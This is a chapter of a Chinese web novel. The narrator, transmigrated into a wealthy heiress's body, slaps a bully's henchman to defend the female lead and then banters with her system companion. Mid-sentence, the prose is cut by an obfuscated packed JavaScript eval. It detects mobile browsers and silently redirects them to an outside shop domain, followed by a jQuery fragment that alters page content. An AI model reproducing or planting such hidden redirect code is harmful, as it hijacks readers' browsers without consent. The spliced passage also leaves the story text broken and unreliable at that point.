次日清晨,被叫醒的柳南絮下意识的将手伸向枕边的手机。
刚睡醒属于半懵状态,在被手机屏幕亮光刺痛的时候她才反应过来,那声音不来自一如既往的手机铃声,而是来自站在床旁的江北音。
这种被人在床边叫醒的经历还是在大学的时候,现在感觉倒是有些恍惚。
“姐姐,到起床时间了。是我的失误,忘记提前问您今天早上想吃什么,我现在去买,应该刚好能赶上。”
柳南絮尽力从睡神那里夺来一丝灵魂才勉强半睁开眼睛,紫藤色的眼眸看着江北音。
面前这人背着背包随时准备出发,脸上挂着笑容,没有涂任何东西,肌肤却细腻透亮,整个人神采奕奕,身上穿着熨烫平整的校服,散发着十六岁少女的朝气与清纯。
这真的是高中生早上七点起床能拥有的精神状态吗?不愧是女主,每天精神饱满的,我这个老人不懂。
不能ooc的职业精神支撑着柳南絮坐在床上,伸手拿起江北音预先准备好的衣服,一副要起床的架势。
“两个菜包一杯豆浆,包子馅随便,豆浆要温热偏甜一点的。”
褪去刚醒的闷哑,声线干净利落,轻快又鲜活。
江北音微笑着点点头后便离开了。
听到关门声的一瞬间,起床困难户柳南絮仿佛被吸干所有力气一般,眼睛都没睁开看门确认门是否关上,就一头倒在枕头上。
就1分钟,我真的不行了,要我早起不如要我命。
她闭着眼睛慢吞吞地穿着衣服,从床上下来,来到洗手池刷牙,耳旁隐约传来江北音清甜绵软的声音。
“姐姐,姐姐,再不起来要迟到了。”
柳南絮恍惚的睁开眼睛,明白自己又睡过去了,面对此情此景有些绝望。
又是这样,我都艰难地起床穿衣洗漱一次了,还要再来一遍,不要啊!
有了十几分钟的睡眠补充,柳南絮终于不再那么艰难地起床。
江北音一边拿起旁边的梳子一边柔声询问,手上的动作没停。
“我帮您梳头吧,姐姐,今天想要什么发型?”
柳南絮嘴里还含着牙膏泡沫,口齿不清地回答。
“就昨天那个吧,简单一点。”
两人双管齐下,没多久就收拾好一起前往教室。
琉穹学院是名校,每年招生人数很多,柳南絮对此没什么体会,在教室门口终于有了实感。
教室外简直是人挤人,她只得远远望上一眼。
这个教室和柳南絮想的却不太一样,与其说是教室,不如说是大厅。
整个空间没有一把椅子,只有三个透明的水晶矗立在正中间,水晶周围的地上画着类似法阵的图案。
还没等她再仔细看看,江北音就被旁边的几个人撞开,柳南絮眼疾手快地伸手扶住她,这才没有摔倒。
柳南絮没好气的转头看向那几人。
她这才发现周围的人都退去,自觉地围成一个圈看热闹。面前是好几个壮汉,穿着校服也遮掩不住健壮的肌肉,在他们中间的人却显得格格不入。
那人体格不如这几个壮汉,但生得一副极好皮囊,让这几人成为他的陪衬。
他眉眼锋利张扬,骨相精致矜贵,没有规矩的穿着校服,一身绸缎锦衣衬得少年意气桀骜不驯,却半点没有世家子弟该有的端庄规矩。
柳南絮刚想张口发火,江北音就被其中一个壮汉倒打一耙。
“你tm的是龙虾吗?又聋又瞎。我们沈老大在这没看到就算了,刚刚喊你们离远点也没听见吗?”
沈老大?我想起来了,这人是沈凛宸,手握熟悉又老套的剧本——顽劣大少爷与坚强正直的女主发生冲突,成为冤家,各种刁难女主后被高贵的小强精神打动后爱上女主。
原文中江北音就是这样被他们撞倒在地后辱骂,她没有退缩,而是重新站起来要求他们道歉。柔弱的体格与强硬的语气吸引了沈凛宸的注意,刚要制止就被突然出现的温柔学长许书辞抢先,解决问题后带走女主。
额,没错,突如其来的占有欲让沈凛宸对女主产生了浓烈的兴趣,总是恶意刁难试图吸引女主的注意。
柳南絮回忆起当初看到这段的兴奋与修罗场的快感,现在想来还真是莫名其妙。
现在有我在还想欺负女主,简直是放着糕点不吃非要吃黄连——自找苦吃。
柳南絮果断拉着江北音的手,站在江北音的身前和那壮汉正面对峙。
她没有半分迟疑,抬手干净利落。
清脆一声巨响划破周遭安静。
腕间力道干脆狠绝,没有多余拖沓,一巴掌重重落在壮汉脸上。
指尖擦过皮肉,带着冷冽强势的威压,巴掌落下又收得极快,姿态矜贵从容,半点不显狼狈粗鄙。
侧脸瞬间泛红发烫,壮汉被打得偏过头,整个人都懵在原地。
原先满脸的不屑此刻化为恼怒和震惊。
陆听澜垂落手腕,眼神冷淡毫无波澜,眉眼清冷疏离,带着豪门养出来沉淀多年的矜贵压迫感。
语气平静低沉,一字一句格外清晰,带着不容反驳的强势。
“不长眼的东西,分不清高低贵贱,也懂不了做人规矩?”
“仗着一身蛮力就横行霸道,没教养没分寸,走到哪都只会丢人现眼。”
“叫本小姐的人让开,你还没这个资格。”
围观群众看见这一幕冷不防的倒吸一口凉气,纷纷传来窸窸窣窣的议论声。
“我去,有好戏看了。沈家大少爷的跟班这次算是碰上硬茬,遇到了陆家小姐。”
“虽然陆听澜也不是什么好人,但终于可以出口恶气了。这些人横行霸道是出了名的,昨天刚把人打进医院。”
除了这些兴奋的,倒也有些人开始担忧。
“真的能行吗?沈家也不是吃素的,而且沈凛宸最要面子,现在当众让他的跟班难堪,他肯定也要发飙吧。”
“沈凛宸会不会直接和陆听澜起冲突很难说。要是在其他地方,两个家族确实势均力敌,但现在可是在临京城,陆家说第二没人敢说第一。”
“在临京城敢惹陆家小姐,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755429|209507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
等着掉颗脑袋吧。”
柳南絮现在正气头上,其他人的议论声都听不真切,只见另一位壮汉和那个撞人的壮汉耳语了几句,脸上的神情从一开始的恼怒瞬间转化为恐慌。
但那人没有立刻道歉,而是紧张的看了沈凛宸一眼,似乎是在等他指令。毕竟道歉了丢沈凛宸的面子,不道歉陆听澜不会饶了他。
沈凛宸仿佛置身事外,一切都与他无关,留下一句“陆小姐随意处置”便走了。
柳南絮看着他离开的背影,心里满是疑惑。
这就走了?一句道歉的话也没有,这些人能这样嚣张跋扈和他这个老大的默认授意脱不了关系,现在倒是直接丢下跟班走人了,还真是全世界倒数第一有责任心。
陆听澜冷睨着脸色惨白、不敢吭声的壮汉,语气没有半分波澜,气场碾压到底。
“现在,给她道歉。态度不诚恳,今天你别想安稳离开。”
那人见靠山走了,跪在地上连滚带爬地来到她们二人面前,猛猛地连磕三个响头。
“对不起对不起……大小姐我真错了,我有眼无珠,狗仗人势,不懂规矩,冒犯了您的人,您大人有大量,千万别跟我一般见识……”
他不敢抬眼,卑微到尘土里,满心恐惧,生怕自己往后日子彻底被毁,连抬头的底气都没有。
陆听澜神情淡漠冰冷,没有半分心软,也没有丝毫情绪起伏,仿佛只是随手处理了一只碍事的蝼蚁。
“今天你惹到我的人,我和你算账,但你做这种事已经不是一次两次了吧。”
“你现在环绕式地给大家都磕一个我就饶了你。”
此话刚出,这人连忙磕头。柳南絮觉得碍眼,牵着江北音的手进教室。
她指尖温柔收紧,轻轻攥住江北音微凉的手,掌心温热又带着不容抗拒的安抚,眉眼褪去方才凛冽寒意,只剩缱绻柔和。
江北音感受着传来的温度和紧紧牵着的手,心脏不自觉地加快跳动。
小声又羞涩地低声道谢,指尖微微蜷缩,轻轻回握住陆听澜的手。
“姐姐,谢谢你。”
柳南絮微微低头,淡淡又温柔地说道∶“嗯,想感谢我就握紧一点,别又跟丢了。”
江北音迅速回应,掌心相贴,力道小心翼翼又格外眷恋,像是抓住了唯一安稳的依靠。
柳南絮脸上看似没什么表情,但其实意识里已经呼唤镇邪第n遍了。
镇邪坐在操作台前,毛茸茸的双手捂着耳朵,试图降低柳南絮的声波攻击。
“好了,宿主,我听得见,你不用再叫我了,再喊我就要聋了。”
柳南絮得到回复稍微降低一点音量,但还是按捺不住的激动。
“你看到没有,我刚刚简直太帅了,有木有。”
“像我这种卑微打工人,何德何能能体验到如此啪啪打脸的时刻,好爽!”
镇邪竖起两个大拇指,笑呵呵地夸赞。
“是的,宿主,你刚刚比我看的电视剧里的男主还要帅。”
“除了夸你以外,我还有好消息要告诉你。”